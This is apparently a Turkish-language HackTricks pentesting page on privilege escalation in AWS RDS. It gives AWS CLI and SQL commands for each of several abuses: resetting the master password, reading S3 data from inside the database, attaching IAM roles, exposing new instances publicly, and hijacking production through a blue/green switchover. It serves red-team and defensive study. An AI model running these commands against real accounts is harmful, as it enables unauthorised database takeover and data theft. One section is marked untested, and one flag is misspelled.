AWS - RDS Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

RDS - Relational Database Service

RDS hakkında daha fazla bilgi için bakınız:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Bu izinle bir saldırgan master kullanıcının parolasını değiştirebilir, ve veritabanı içindeki giriş bilgilerini değiştirebilir:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Veritabanıyla iletişim kurabiliyor olmanız gerekecek (genellikle yalnızca iç ağlardan erişilebilirler).

Olası Etki: Veritabanları içinde hassas bilgiler bulunması.

rds-db:connect

docs’e göre, bu izne sahip bir kullanıcı DB instance’a bağlanabilir.

Abuse RDS Role IAM permissions

Postgresql (Aurora)

Tip

Eğer SELECT datname FROM pg_database; çalıştırdığınızda rdsadmin adlı bir veritabanı bulursanız, içinde bulunduğunuzun bir AWS postgresql veritabanı olduğunu anlarsınız.

Öncelikle bu veritabanının başka herhangi bir AWS servisine erişmek için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu, yüklü uzantılara bakarak kontrol edebilirsiniz:

SELECT * FROM pg_extension;

Eğer aws_s3 gibi bir şey bulursanız, bu veritabanının S3 üzerinde bir tür erişime sahip olduğunu varsayabilirsiniz (benzer diğer uzantılar aws_ml ve aws_lambda gibi vardır).

Ayrıca, aws rds describe-db-clusters komutunu çalıştırma izniniz varsa, orada cluster’ın herhangi bir IAM Role bağlı olup olmadığını AssociatedRoles alanında görebilirsiniz. Eğer bağlıysa, veritabanının diğer AWS servislerine erişim sağlamak üzere hazırlanmış olduğunu varsayabilirsiniz. Role’ün adına göre (veya role’ün izinlerini elde edebilirseniz) veritabanının hangi ek erişimlere sahip olduğunu tahmin edebilirsiniz.

Şimdi, bir bucket içindeki bir dosyayı okumak için tam yolu bilmeniz gerekir. Şunu kullanarak okuyabilirsiniz:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Eğer elinizde raw AWS credentials olsaydı, S3 verilerine şu şekilde de erişmek için kullanabilirdiniz:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql S3’e erişebilmek için herhangi bir parameter group değişkenini değiştirmeye ihtiyaç duymaz.

Mysql (Aurora)

Tip

Bir mysql içinde, eğer SELECT User, Host FROM mysql.user; sorgusunu çalıştırırsanız ve rdsadmin adlı bir kullanıcı varsa, içinde bulunduğunuzun AWS RDS mysql db olduğunu varsayabilirsiniz.

Mysql içinde show variables; çalıştırın ve eğer aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role gibi değişkenlerin değerleri varsa, veritabanının S3 verisine erişime hazır olduğunu varsayabilirsiniz.

Ayrıca, eğer aws rds describe-db-clusters çalıştırma izniniz varsa, cluster’ın herhangi bir associated role’ü olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir).

Şimdi, bir bucket içindeki bir dosyayı okumak için tam yolu bilmeniz gerekir. Şu şekilde okuyabilirsiniz:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

rds:AddRoleToDBCluster ve iam:PassRole izinlerine sahip bir saldırgan, mevcut bir RDS instance’ına belirtilen bir rolü ekleyebilir. Bu, saldırgana hassas verilere erişim sağlayabilir veya instance içindeki verileri değiştirmesine olanak tanıyabilir.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Olası Etki: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.
Bazı veritabanlarının Mysql gibi ek yapılandırmalar gerektirdiğini unutmayın; Mysql için role ARN’in parametre gruplarında da belirtilmesi gerekir.

rds:CreateDBInstance

Sadece bu izinle bir saldırgan, zaten var olan ve bir IAM role iliştirilmiş bir cluster içinde yeni bir instance oluşturabilir. Master kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağı olabilir:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

YAPILACAK: Test

Bir saldırgan, rds:CreateDBInstance ve iam:PassRole izinlerine sahip olduğunda belirtilen role bağlı yeni bir RDS instance oluşturabilir. Saldırgan daha sonra potansiyel olarak hassas verilere erişebilir veya instance içindeki verileri değiştirebilir.

Warning

Some requirements of the role/instance-profile to attach (from here):

  • The profile must exist in your account.
  • The profile must have an IAM role that Amazon EC2 has permissions to assume.
  • The instance profile name and the associated IAM role name must start with the prefix AWSRDSCustom .
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potansiyel Etki: RDS instance içindeki hassas verilere erişim veya veriler üzerinde yetkisiz değişiklikler.

rds:AddRoleToDBInstance, iam:PassRole

İzinlere rds:AddRoleToDBInstance ve iam:PassRole sahip bir saldırgan, mevcut bir RDS instance’a belirtilen bir rol ekleyebilir. Bu, saldırganın hassas verilere erişmesine veya instance içindeki verileri değiştirmesine olanak sağlayabilir.

Warning

Bu işlem için DB instance’ın bir cluster dışında olması gerekir

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Olası Etki: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Bu izinlere sahip bir saldırgan, üretim veritabanını (Blue) klonlayabilir, klona yüksek ayrıcalıklı bir IAM rolü ekleyebilir (Green) ve ardından switchover’ü kullanarak üretim ortamının yerini alabilir. Bu, saldırganın veritabanının ayrıcalıklarını yükseltmesine ve diğer AWS kaynaklarına yetkisiz erişim elde etmesine olanak tanır.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Potential Impact: Üretim veritabanı ortamının tam ele geçirilmesi. Geçişten sonra veritabanı yükseltilmiş ayrıcalıklarla çalışır ve veritabanı içinden diğer AWS hizmetlerine (örn. S3, Lambda, Secrets Manager) yetkisiz erişime izin verir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin